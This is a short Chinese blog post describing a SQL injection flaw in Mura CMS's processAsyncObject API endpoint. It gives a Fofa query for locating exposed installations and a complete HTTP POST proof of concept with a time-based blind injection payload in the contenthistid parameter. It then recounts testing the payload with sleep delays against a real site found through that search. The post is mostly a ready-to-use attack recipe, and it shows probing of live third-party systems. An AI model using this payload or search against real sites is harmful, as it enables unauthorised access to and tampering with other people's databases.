Mura CMS processAsyncObject SQL注入漏洞

漏洞描述

该漏洞允许攻击者在某些API请求中注入恶意SQL代码，来访问或修改数据库信息，甚至可能获得对系统的完全控制，主要危害包括未授权访问敏感数据以及可能对系统完整性造成的损害

Fofa: body="Powered by Mura CMS"

POC

POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
 
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

漏洞复现

在fofa中搜索资产，有27条数据

image-20240514224056708

访问其中一个站点进行抓包

image-20240514224221858

使用sleep(5)进行判断

image-20240514224307620

使用sleep(10)进行判断

image-20240514224404232

posted @   LeouMaster  阅读(105)  评论(0)  编辑  收藏  举报
相关博文：
·  F5 BIG-IP Next Central Manager SQL注入漏洞
·  百易云资产管理运营系统ufile.api.php存在SQL注入漏洞
·  sql注入总结
·  用友U8 OA test.jsp SQL注入漏洞
·  08-Access注入漏洞
阅读排行：
· 地球OL攻略 —— 某应届生求职总结
· 周边上新：园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源！
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示
SQL AI 助手